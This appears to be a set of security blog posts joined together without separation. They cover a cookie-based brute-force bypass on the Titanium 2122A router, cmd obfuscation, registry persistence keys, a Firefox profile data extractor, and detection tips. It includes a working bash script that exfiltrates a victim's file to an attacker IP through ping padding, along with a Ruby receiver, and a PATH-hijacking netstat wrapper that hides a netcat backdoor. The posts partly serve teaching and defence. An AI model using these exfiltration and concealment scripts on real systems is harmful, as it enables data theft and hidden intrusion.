• Vulnerable device: GPON ONT: Titanium 2122A found HERE
• Software Version: T2122-V1.26EXL
• Hardware Version: C40-210

Description:

Theweb login interface of this router contains a limit for number of times a user can try invalid passwords. The default limit is set to 3 after which the login is locked for a minute. Attackers can bypass this limitation on frontend by manipulating the cookie value.

The login page also suffers with weak captcha implementation. Attacker can easily repeat a login request with same captcha value, thus making the brute force possible.

Vulnerability

The file /cgi-bin/login.asp holds the variable loginTimes

var loginTimes = 0;

The function SET_C_T sets the cookie

 function SET_C_T(name, value, time)
  {
   var strsec = getsec(time);
   var exp = new Date();
   exp.setTime(exp.getTime() + strsec*1);
   document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString()+";path=/;";
  }

Once the password is submitted, a AJAX call is made to server and a response is received of the same. The received response is then checked for various parameters. One such parameter is ‘Privilege’ (result.Privilege)

result.Privilege is set to 0 in case of a wrong password. The value of loginTimes variable is increased by 1, and SET_C_T function is called to set the cookie with loginTimes.

This is clearly visible in below code.

else if ( '0' == result.Privilege )
	        		{
	        				loginTimes += 1;
									SET_C_T("loginTimes", loginTimes, "s60");
	        				$('#errmsg').text('You already login incorrectly for ' +  loginTimes + ' time!');
	        		}

For each wrong password entered the value of loginTimes variable gets incremented by 1 and so does the cookie.

In case user entered the wrong password three times, the webpage will be locked for a minute. The number of invalid attempts are checked by reading the value of cookie loginTimes

			if( (GET_C("loginTimes") != "") && (typeof(GET_C("loginTimes")) != "undefined") )
				loginTimes = parseInt(GET_C("loginTimes"));
			if ( loginTimes >= 3 )
			{
				$('#errmsg').text('Login three times fail, Webpage locked,please login after 1 minute!');
				return false;
			}

Exploiting

Since the value of cookie loginTimes is read to count the number of times user has entered invalid passwords. This cookie can be easily modified through Web developer tools console or by Burp.

Fixing the value of cookie to a negative number like -99999 will give an attacker unlimited number of attempts to try brute force attacks via the web interface, as shown in below PoC

Since the cookie can be altered an attacker can capture the login request and perform a Bruteforce via Burp Intruder easily. You can check it in action on our youtube channel HERE

This post share details of an attacker can read the network statistics even if the commands like ‘netstat’ and ‘lsof’ are not available.

/proc is a virtual file system that is created each time a system boots and is dissolved during shutdown. The directory /proc contains (among other things) one subdirectory for each process running on the system, which is named after the process ID (PID).

One such directory is /proc/<PID>/net This directory provides a comprehensive look at various networking parameters and statistics. Each directory and virtual file within this directory describes aspects of the system’s network configuration.

For example: /proc/<PID>/net/tcp — Contains detailed TCP socket information.

A sample file looks like

DECODING THE VALUES

The values are divided in different columns like local_address, rem_address [remote address], st [status code], etc

Values in each column is stored in Hexadeciaml notation in ‘Little Endian’ format

This means

0100007F should be read as 7F 00 00 01 which gets decoded to 127.0.0.1

and the value of port number 8124 gets decoded to 33060

This is also shown in below image

The below script created in Ruby decodes the fields and print in a tabular format. All it needs is process ID as the parameter. The script also displays the command line used to execute the process and the Apparmor status of process

The output from the script is given below

The code

#!/bin/env ruby

=begin
A DECODER FOR /PROC/<PID>/NET/TCP or UDP FILE
DISPLAYS NETWORK STATS AND INFORMATION OF PROCESS
COMMAND LINE AND APPARMOR STATUS OF PROCESS
REGARDS: ALPHA THREAT IT SOLUTIONS

USAGE : ruby proc_net.rb <PROCESS ID>
 process ID can be obtained via ps -A command
=end

local_ip=[]; local_port=[]; remote_address=[]; remote_port=[]; state=[]
final_local=["\nLocal_IP : PORT\t\t\t\b REMOTE_IP : REMOTE_PORT\t\tSTATE\n"]

filename="/proc/#{ARGV[0]}/net/tcp"

begin

a=File.readlines(filename).each do |x|

if x.match?(/[A-Z 0-9]{8}:[A-Z -9]{4}/)

y = x.split(":")
local_ip << y[1].sub!(" ",'')
local_port << y[2].split(" ")[0]
remote_address << y[2].split(" ")[1]
remote_port << y[3].split(" ")[0]

if y[4].split(" ")[1] == '00'
state << "ERROR_STATUS"
elsif y[4].split(" ")[1] == '01'
state << "TCP_ESTABLISHED"
elsif y[4].split(" ")[1] == '02'
state << "TCP_SYN_SENT"
elsif y[4].split(" ")[1] == '03'
state << "TCP_SYN_RECV"
elsif y[4].split(" ")[1] == '04'
state << "TCP_FIN_WAIT1"
elsif y[4].split(" ")[1] == '05'
state << "TCP_FIN_WAIT2"
elsif y[4].split(" ")[1] == '06'
state << "TCP_TIME_WAIT"
elsif y[4].split(" ")[1] == '07'
state << "TCP_CLOSE"
elsif y[4].split(" ")[1] == '00'
state << "TCP_CLOSE_WAIT"
elsif y[4].split(" ")[1] == '09'
state << "TCP_LAST_ACK"
elsif y[4].split(" ")[1] == '0A'
state << "TCP_LISTEN"
elsif y[4].split(" ")[1] == '0B'
state << "TCP_CLOSING"
else
state << "UNKNOWN"

#if end
end

end

rescue Exception
next
#exception end
end
#do end
end

def print_ip(x)
return  x.scan(/../).reverse.map{|x| x.to_i(16)}.join('.')
end

def print_port(y)
return y.to_i(16)
end

for length in 0..local_ip.count-1

#sets spacing for printing columns
size=print_ip(local_ip[length]).to_s + ' : ' + print_port(local_port[length]).to_s
size=size.length.to_i
fs=23-size
size=print_ip(remote_address[length]).to_s + ' : ' + print_port(remote_port[length]).to_s
size=size.length.to_i
ns=23-size

#create a final array with all data
final_local << print_ip(local_ip[length]).to_s + ' : ' + print_port(local_port[length]).to_s + " "*fs + "\t\t" +  print_ip(remote_address[length]).to_s + ' : ' + print_port(remote_port[length]).to_s + " "*ns + "\t\t" + state[length].to_s
end

puts final_local
puts "\nProcess Command Line: " + File.read("/proc/#{ARGV[0]}/cmdline") + "\n\n" if File.exists?("/proc/#{ARGV[0]}/cmdline")
puts "AppArmour status: "  + File.read("/proc/#{ARGV[0]}/attr/apparmor/current") + "\n" if File.exists?("/proc/#{ARGV[0]}/attr/apparmor/current")

This blog explains various tamper scripts and their usage.

Credits to original author for piling this up

Obfuscation has always been in fashion among malware authors. These obfuscation techniques can be frequently observed while researching advanced threats and malware samples.

This blog posts will highlight some of the command line obfuscation techniques that have been heavily used by the threat actors. A special thanks to the Fireeye team for sharing this knowledge with the community.

The post is highly intended and shared to help blue teams secure their defense mechanisms.

String Replacement

This technique includes replacing the characters from a string. Consider below example

set string=hello! set string=%string:!=%

The string will now have the value “hello” instead of “hello!”

Using Double Quotes

Double quotes can be used in command as well as command arguements. Using a balanced pair of double quotes do not affect the syntax. For ex: c”“m”“d.exe /c not”“e”“pad is a perfectly balanced command which works

###

Extracting Value From Variables

COMPSEC is an environment variable which holds the default shell in windows. You can check it via set command. The string ‘cmd’ can be extracted from this variable to avoid typing it in our script and avoid detection. In below image %COMSPEC:~ 20,3% evaluated to cmd

Using Parenthesis

Parenthesis can be used in command line arguments for obfuscation purposes as shown in below image

Using Caret For Obfuscation

Most commonly used obfuscation character. The ^ symbol (also called caret or circumflex) is an escape character in Batch script. When it is used, the next character is interpreted as an ordinary character. Caret character can escape itself.

echo ^alpha   will give      alpha
echo ^^alpha will give    ^alpha
echo ^^^^alpha will give    ^^alpha

###

For Loop Obfuscation

Cmd’s native tokens and delim make it possible to extract values from a string and use accordingly. Delimiter acts like -d and tokens act like -f of cut command in linux. In image below we are extracting the word ‘powershell’ from environment variable.

###

Comma and Semicolon Obfuscation

Comma and semicolons can be used in place of spaces under cmd.

Let us now combine some methods to download remote contents. For this we created a local server on port 8000 and hosted a file with below contents:

Write-Host This is fetched from remote server -ForegroundColor Green; Start-Process -FilePath "notepad.exe"

The command executed successfully popping up a notepad, as shown in below image

FOR ENTHUSIAST READERS

Try to decode the below obfuscation:

Here are 7 cybersecurity best practices you can begin to implement today to protect yourself from cyber attacks.

TIP# 1 Keep Your Softwares Up to Date

• Outdated softwares are easy target for attackers. They can give direct remote access to attackers in some cases. Updating softwares is the critical part of security process.
• Always have the latest security updates for your system.
• Turn on automatic udpates for your windows.

TIP# 2 Beware of Suspicious Links

• Clicking links can give away your details and even provide remote access to attackers. Phishing links are used to steal sensitive information like username and passwords.
• Be suspicious of any official looking email and make sure to verify their source.
• Find out where a link leads by submitting the url to wheregoes.com

TIP# 3 Avoid Cracked Softwares

Cracked softwares are mostly used to distribute malwares, latest malwares have the capability to bypass antivirus.

TIP# 4 Password Management

Password managers like Keepass and Revelation help you to create and store, unique and secure passwords.

TIP# 5 Never Leave Devices Unattended

• Always keep your devices locked with some sstrong password.
• Strong password is a mix of Uppercase, Lowercase, Numerals and Special characters.
• Install tracking softwares on your devices so they can be found if lost or stolen.

TIP# 6 Always Have Backup

It is highly advisable to create a backup of important files in a separate offline media. A backup will help you in case of ransomware attacks.

TIP# 7 Secure Your Devices With an Antivirus

• Antivirus and Antimalware will prevent your system from majority of virus and malwares. Install them from a trusted vendor.
• Keep your solution updated with latest definitions.

Today’s post can be used by System Admins and fellow friends to detect any suspicious process launch in background. Latest malwares use fileless techniques to infect the system by spawning the system processes from memory region itself.

cmd and powershell are two such processes of high interest along with several others that need to be specially monitored.

Let us now prepare our machine to create an event upon such behavior. This can be achieved by starting your Local Security Policy > Local Policies > Audit Policy and setting the Audit Process Tracking setting to Success,Failure

This setting will create an Windows event each time a process gets spawned.

These generated events with the EventId of 4688 can be manually viewed from Event Viewer as shown in below screenshot

All we now need to do is monitor for such generated events. We will do this by creating a program in Ruby. The program will keep an eye on these Security events and will alert us upon a new process launch

Installing required gems

gem install win32-eventlog

OUR PROGRAM

Thread.new { loop { sleep 0.01 } } # Allow Ctrl-C
require "win32/eventlog"
include Win32

log = EventLog.open('Security') do |log|
log.tail do |x|

if x.string_inserts[5].to_s.match(/cmd|powershell|calc|regedit/i) and x.event_id == 4688
p 'Process ' + x.string_inserts[5].to_s + ' initiated by ' + x.string_inserts[1]
end
end
end

The code acts like a tail command under linux but for event logs.

Any new entry in Security event logs will be captured and displayed as shown below

Browsers require their own database and set of data to function. Various file formats are used by browsers like .sqlite, .json, .txt , etc to hold various information.

The profile folder location is different for different browsers. For E.G.

Note that when the browser is running, some of the database files will be in locked state. You have to either kill the browser or copy the files to a separate folder to make them readable.

Now let us first learn about the files in profile folder

We will now use our Ruby language to parse the interesting data from these files. Save the below code to a FILENAME.rb format

require 'sqlite3'
require 'terminal-table'
require 'json'

path = './'

@extensions = path + 'extensions.json'
@cert = path + 'cert9.db'
@formhistory = path + 'formhistory.sqlite'
@persdict = path + 'persdict.dat'
@visitedsites = path + 'places.sqlite'
@cookies = path + 'cookies.sqlite'
@permfile = path + 'permissions.sqlite'

def formhistory
db = SQLite3::Database.new @formhistory
a=db.execute  "SELECT fieldname, value FROM moz_formhistory"
table = Terminal::Table.new :rows => a
puts "****************FORM HISTORY****************"
puts table
puts ''
end

def extension
#Installed extensions
a=JSON.parse(File.read(@extensions))
puts "****************INSTALLED EXTENSIONS****************"
a['addons'].each{|x| p x['defaultLocale']['name']}
puts ''
end

def certificates
db = SQLite3::Database.new @cert
puts "****************INSTALLED CERTIFICATES****************"
a= db.execute  "SELECT * FROM nssPublic"
a.each{|x| p x[4]}
puts ''
end

def persdictionary
puts "****************CUSTOM DICTIONARY WORDS ADDED****************"
puts File.read @persdict
puts ''
end

def historyAndBookmarks
db = SQLite3::Database.new @visitedsites
urls=db.execute "SELECT title FROM moz_places"
puts "****************VISITED WEBSITES****************"
puts urls
puts ''
puts "****************BOOKMARKS****************"
bm=db.execute "SELECT title FROM moz_bookmarks"
puts bm
end

def permission
db = SQLite3::Database.new @permfile
a=db.execute  "SELECT origin,type FROM moz_perms"
a.each {|x,y| print x + " is allowed " + y; puts ''}
end

def cookies
db = SQLite3::Database.new @cookies
a=db.execute  "SELECT name, host, path, value FROM moz_cookies"
table = Terminal::Table.new :rows => a
puts "****************VISITED WEBSITES****************"
puts table
puts ''
end

=begin
Uncomment the lines below one by one to see data. Uncommenting all
will give you lots of data in one go
=end

#cookies
permission
#historyAndBookmarks
#persdictionary
#certificates
#extension
#formhistory

CODE ANALYSIS

The code is quite simple. It uses sqlite3 and json libraries to read the data from the files. The terminal-table library is used to print the output in a table format

• The line in format SQLite3::Database.new @cookies are used to read the database files
• The lines in format db.execute “SELECT name, host, path, value FROM moz_cookies” are used to execute the database query to print column values from defined tables

EXECUTE

Copy the mentioned files from profile folder and put it in same folder where you saved your script. you can also set the path variable if files are in different location

The last lines of the script are commented to avoid large output. SImply uncomment the line of whose output you want. In our case we are executing permission method of whose output is shown in right side terminal window

Malwares have been an interesting topic of research since the very first computer virus was developed called a “Brain”. Malware development has tremendously evolved since then. Our team observes new strains of virus samples everyday. One of the interesting topics of the malwares is their persistence techniques. Persistence is the ability of malware to start itself everytime a computer is turned on.

WHAT IS REGISTRY

The database where all the settings of the Windows are stored is called a registry. It is arranged in a hierarchical order to retrieve data whenever needed and used in the system.

The below provided registry keys are what malwares uses to achieve persistence state.

BOOT EXECUTE KEY

A processor in a computer running Windows has two different modes: user mode and kernel mode. The processor switches between the two modes depending on what type of code is running on the processor. Applications run in user mode, and core operating system components run in kernel mode.

Session manager (smss.exe) is the first user mode process that is launched . One of the entries where malwares persist is the BootExecute key. This key lies at:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager

If the entry shows anything apart from the default values of autocheck autochk * as shown in below image this could be an indication of possible malware.

SERVICE KEYS

Winload.exe (Windows Boot Loader) is a small piece of software, called a system loader, that’s started by BOOTMGR, the boot manager used in Windows 10, Windows 8, Windows 7, and Windows Vista operating systems. Its job is to load essential device drivers, as well as ntoskrnl.exe, which is a core part of Windows.

The winload.exe loads the device driver during startup. These drivers are configure in below path

HKLM\system\currentcontrolset\services

During assessment the ImagePath entries are checked for any executables.

The Start key:value denotes

• 0 Kernel drivers (load before kernel initialization)
• 2 Autostart
• 3 Manual start via Service Control Manager (SCM)

RUN SERVICE KEYS

These keys allows a program to run each time a user logs on. You can write multiple entries under a key. If more than one program is registered under any particular key, the order in which those programs run is indeterminate.

The Windows registry includes the following four Run and RunOnce keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

##

WINLOGON KEYS

This proces is started by wininit.exe which handles logon and logoff. The process “winlogon.exe” runs in the background. Winlogon is a part of the Windows Login subsystem, and is necessary for user authorization and Windows activation checks. Following four registry keys are related to winlogon process

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell

• Notify: Programs to run upon events like logon, logoff, startup, shutdown, startscreensaver, and stopscreensaver
• Userinit: Programs to run when a user logs in
• Shell: Programs to run when Userinit will launch. Default shell is Explorer

The entry in Userinit has been modified to show how a malware persists by modifying these entries.

Shell Service Object Delayed Load (SSODL)

This entry Instead of pointing to the file itself, it points to the CLSID’s InProcServer, which contains the information about the particular DLL file that is being used. The registry path can be observed under

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad

The entries under this key is loaded automatially by windows explorer.

E.G. Trojan/Muddle creates a random entry under ShellServiceObjectDelayLoad and registers its DLL as a COM object under HKCR\CLSID\

RUN KEYS (RUN, RUNONCE, RUNONCEX)

These keys are most abused and a common way to make startup entry. A malicious user can make entries under below keys to achieve persistence. Majority of the applciation installed use the same set of registry keys to achieve startup.

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

LOAD KEYS

Less commonly used, if found these keys can also achieve persistence. Cardinal RAT is such an example which uses these load keys to achieve startup.

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows

APPINIT DLL

The AppInit_DLLs registry value contains a list of dlls that will be loaded when user32.dll is loaded. Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. Some variants of CherryPicker use AppInit_DLLs to achieve persistence by creating the following Registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows "AppInit_DLLs"="pserver32.dll"[

ICMP

The ICMP stands for Internet Control Message Protocol. It is a network layer protocol used by network devices to diagnose network communication issues.

Unlike the Internet Protocol (IP), ICMP is not associated with a transport layer protocol such as TCP or UDP. This makes ICMP a connectionless protocol: one device does not need to open a connection with another device before sending an ICMP message.

In a linux box the default packetsize is 56 bytes, which translates into 64 ICMP data bytes when combined with the 8 bytes of ICMP header data.

PING

Ping abbreviates for ‘Packet Internet Groper’. Ping is a computer network administration software utility used to test the reachability of a host on an Internet Protocol (IP) network. It is available for virtually all operating systems that have networking capability, including most embedded network administration software. Ping operates by sending Internet Control Message Protocol (ICMP) echo request packets to the target host and waiting for an ICMP echo reply. Ping is part of the iputils (or iputils-ping) package, which is pre-installed on nearly all Linux distributions.

HEXADECIMAL SYSTEM

The hexadecimal numeral system, often shortened to “hex”, is a numeral system made up of 16 symbols (base 16). There are 16 Hexadecimal digits. They are the same as the decimal digits up to 9, but then there are the letters A, B, C, D, E and F in place of the decimal numbers 10 to 15:

Hexadecimal: 0 1 2 3 4 5 6 7 8 9 A B C D E F Decimal: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

So a single Hexadecimal digit can show 16 different values instead of the normal 10.

DATA EXFILTRATION WITH PING COMMAND

If we notice closely the ‘man ping’ states a very useful option for our task of exfiltration.

-p pattern You may specify up to 16 “pad” bytes to fill out the packet you send. This is useful for diagnosing data-dependent problems in a network. For example, -p ff will cause the sent packet to be filled with all ones.

This means the native version of ping which ships with the linux box, has the capability to send 16 bytes of data per packet. This is not a very big size, but it simply satisfies our requirement of using native tool and transferring some data in text form. And since ping can be used by any user, the attacker do not need root access to perform this action. Also, the data needs to be in the hexadecimal format.

Now in order to send a string that says ‘Hello World’ , we need to convert it to Hex. We can do that using some online website like rapidtables or using linux xxd utility by command:

$ echo Hello World | xxd
00000000: 4865 6c6c 6f20 576f 726c 640a            Hello World.

In order to use it with ping we need to combine the output to remove spaces, this can be done by using -ps switch of xxd

$ echo Hello World | xxd -ps
48656c6c6f20576f726c640a

Now one thing to note here is if the length of our payload is not 16 bytes as expected by the ping command, it automatically repeats the pattern thus giving you duplicate text.

Consider the table above.

‘A’ in hex is 41

‘B’ in hex is 42

we can check the same on our terminal by typing:

$ echo -n AB | xxd -ps
4142

here 41 and 42 each represents 1 byte size, therefore 4142 are two bytes,

Similarly if we do,

$ echo Hello World | xxd -ps

the output received 48 65 6c 6c 6f 20 57 6f 72 6c 64 0a is equal to 12 bytes, half of its length size

Now we are good with the theory we need. Let us now craft a ping packet to send the text ‘Hello World how are you’ and view the response in wireshark

$ echo hello world how are you | xxd -ps
68656c6c6f20776f726c6420686f772061726520796f750a

$ ping -p 68656c6c6f20776f726c6420686f772061726520796f750a 192.168.0.13 -c 1

In wireshark we can see that the data repeats exactly after 16 bytes i.e. 68 65 6c 6c 6f 20 77 6f 72 6c 64 20 68 6f 77 20 , the later part 61726520796f750a got eliminated.

We can remove the duplicate by limiting packet size, this can be achieved by -s switch of ping. Checking the manpage for ping again

-s packetsize Specifies the number of data bytes to be sent. The default is 56, which translates into 64 ICMP data bytes when combined with the 8 bytes of ICMP header data.

So let us now limit the packet size to 32 bits, this will remove the extra 24 bytes where data gets repeated.

$ ping -p 68656c6c6f20776f726c6420686f772061726520796f750a 192.168.0.13 -c 1 -s 32

Now the data looks good in wireshark after limiting packet size

SCRIPTING

Let us now achieve the above steps with the help of a script. Please note that this script is designed for transferring simple data like text.This script do not need any root permission to run. Due to the limiting capability of native ping, it can’t be used to transfer other files. We will cover advanced file transers in another post.

#!/bin/bash
domain="192.168.1.9"
input="sample"

for a in $(cat $input | xxd -ps -c 16)
do
dsize=$(echo -n $a | wc -c)

if [[ $dsize -lt "32" ]]
then
padding=$((32 - $dsize))'s'
padding=$(printf %$padding | tr " " "0")
a=$a$padding
fi
ping -c 1 -p $a $domain -s 32
done

Breakdown

• domain=”192.168.1.9” // Set the Attackers IP, where he listens for incoming data
• input=”sample” // Text file to read on victim machine

• **for a in $(cat $input

  xxd -ps -c 16)** // Read the text file, change to Hex and set the data payload to 16 byte each line

• if [[ $dsize -lt “32” ]] // check if the data size is less than 32 bytes

• **padding=$(printf %$padding

  tr “ “ “0”)** //append null character if datasize is less than 16, to avoid bad characters

• ping -c 1 -p $a $domain -s 32 //send ping packet

ATTACKER SIDE

On other side the attacker start listening for incoming data. Attacker has created another script to filter out the ICMP packets received and extract the plaintext data. Since our attacker is a keen Rubyist, he developed his script in pure Ruby language.

require 'packetfu'
require 'pp'

capture = PacketFu::Capture.new :iface => 'wlp6s0b1', :promisc => true, :start => true, :filter => 'icmp'
capture.stream.each do |p|
pkt = PacketFu::Packet.parse p
  if pkt.icmp_type == 8
  pkt1=pkt.payload
  puts pkt1[17..-1]
  end
end

Let us now try to fetch contents of a file titled secret from victim machine, with below contents

Attacker now runs the bash script on victim machine and ruby script on his machine

Below image shows output of scripts upon execution

• Left side terminal is victim shell where the bash script is executed.
• Right side terminal is attacker where he is colleting data from ping packets
• Below is the wireshark instance to show the ICMP activity

This article assumes the attacker have already gained root access over a machine and now is planning to plant a hidden backdoor. There are lots of methods to achieve the same like installing a rootkit, port knocking, etc but in this article we focus on simple technique that will achieve the same and bypass results from native tools like

• netstat : Prints network connections, routing tables, interface statistics, masquerade connections, and multicast memberships
• ps : Report a snapshot of the current processes
• lsof : List open files

For our simple demonstration attacker creates a netcat backdoor and leaves a port open. The open port can be easily listed by above tools. The attacker creates a script and hijacks the execution of the native tools by utilising the PATH environment variable precedence.

Once the attacker plants his netcat backdoor by nc command,

this will be detected as shown in below image

In order to hide the detection attacker creates a simple script as below:

#!/bin/bash
/bin/netstat \$@ | grep -Ev '1234|nc'

The above script upon execution:

• Calls the original netstat command located at /bin/ folder
• $@ : captures all the command line arguement passed to netstat command

• grep -Ev ‘1234

  nc’ : Removes every line from output matching the strings 1234 and nc

Attacker saves the above script titled netstat in /usr/local/bin and makes the script executable by

chmod +x /usr/local/bin/netstat

The point that the attacker leverages here is the implementation of PATH variable. The attacker checks the output of

echo $PATH

and notices that /bin comes after /usr/local/bin, this means the binary placed at /usr/local/bin will get executed first due to PATH order preference. He notes that the original netstat binary is placed at /bin/netcatby typing which netstat

Once the attacker has placed the script at /usr/local/bin, now when the local user of infected machine calls netstat -ltp

he wont be able to detect the presence of a listening netcat instance.

Attacker repeats the same process for ps and lsof commands by placing binaries with same name